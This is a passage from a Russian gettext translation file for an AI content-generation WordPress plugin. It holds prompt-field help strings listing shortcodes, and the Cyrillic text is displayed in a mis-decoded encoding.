плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: res/aiomatic-amazon-list.php:3420 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article intro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñтупительной чаÑти поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%% — чтобы отключить вÑтупление Ñтатьи, " "оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: res/aiomatic-rules-list.php:3577 #, php-format #| msgid "" #| "Prompt to be used for the Post Intro. You can use the following " #| "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " #| "article intro, leave this prompt blank - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators. You will also be able to use the custom " #| "shortcodes defined in the 'Custom Shortcode Creator' feature from the " #| "rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article intro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вÑтуплении к поÑту. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы " "отключить вÑтупление Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по " "правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные " "короткие коды, определенные в функции «Создатель пользовательÑких коротких " "кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или " "полноÑтью Ñгенерированные AI запроÑÑ‹, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента. Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие " "коды, определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-youtube-list.php:3314 #, php-format #| msgid "" #| "Prompt to be used for the Post Intro. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - to disable article intro, leave this prompt blank - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators. You will also be able to " #| "use the custom shortcodes defined in the 'Custom Shortcode Creator' " #| "feature from the rule settings - this will allow you to create partially " #| "or fully AI generated prompts which will be used for the content " #| "generators." msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article intro, leave this prompt blank - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð’Ñтупительной чаÑти ПоÑта. Ð’Ñ‹ " "можете иÑпользовать Ñледующие шорткоды: %%video_title%%, " "%%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - чтобы отключить " "вÑтупление Ñтатьи, оÑтавьте Ñтот промпт пуÑтым - Обновить: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек " "правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые " "промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3742 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article outro, leave this " "prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, " "оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:3546 #, php-format msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, " "оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3763 #, php-format #| msgid "" #| "Prompt to be used for the Post outro. You can use the following " #| "shortcodes: %%search_keywords%%, %%all_product_titles%%, %%language%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " #| "article outro, leave this prompt blank - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐ¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете " "иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы " "отключить заÑтавку Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-youtube-list.php:3500 #, php-format #| msgid "" #| "Prompt to be used for the Post Q&A. You can use the following shortcodes: " #| "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " #| "article outro, leave this prompt blank - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Post outro. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article outro, leave this prompt blank - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти ПоÑта. Ð’Ñ‹ " "можете иÑпользовать Ñледующие шорткоды:%%video_title%%, %%video_descripton%%," " %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%% - чтобы отключить заключительную чаÑÑ‚ÑŒ " "поÑта, оÑтавьте Ñтот промпт пуÑтым - Обновить: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3658 #, php-format msgid "" "Prompt to be used for the Post Pros & Cons section. You can use the " "following shortcodes: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " to disable article outro, leave this prompt blank - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт иÑпользуемый в разделе «ПлюÑÑ‹ и минуÑÑ‹ ПоÑта». Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3700 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, " "%%offer_price%%, %%product_price%%, %%product_list_price%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, " "%%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - to disable article outro, leave this " "prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:3504 #, php-format msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable " "article outro, leave this prompt blank - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот Промпт " "пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие " "коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3721 #, php-format #| msgid "" #| "Prompt to be used for the Post outro. You can use the following " #| "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " #| "this prompt blank - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article outro, leave " "this prompt blank - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по поÑту. Ð’Ñ‹ можете иÑпользовать " "Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы " "отключить заключительную чаÑÑ‚ÑŒ Ñтатьи, оÑтавьте Ñтот промпт пуÑтым. — " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.." #: res/aiomatic-youtube-list.php:3458 #, php-format #| msgid "" #| "Prompt to be used for the Post outro. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - to disable article outro, leave this prompt blank - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the Post Q&A. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - to disable article outro, leave this prompt blank - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов в поÑте. Ð’Ñ‹ " "можете иÑпользовать Ñледующие шорткоды: %%video_title%%, " "%%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - чтобы отключить " "Заключительную чаÑÑ‚ÑŒ поÑта, оÑтавьте Ñтот промпт пуÑтым - Обновить: также " "поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек " "правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые " "промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:3619 #, php-format #| msgid "" #| "Prompt to be used for the intro of the article. You can use the following " #| "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделах поÑтов. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по " "правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные " "короткие коды, определенные в функции «Создатель пользовательÑких коротких " "кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или " "полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента." #: res/aiomatic-youtube-list.php:3356 #, php-format #| msgid "" #| "Prompt to be used for the intro of the article. You can use the following " #| "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the Post Sections. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " 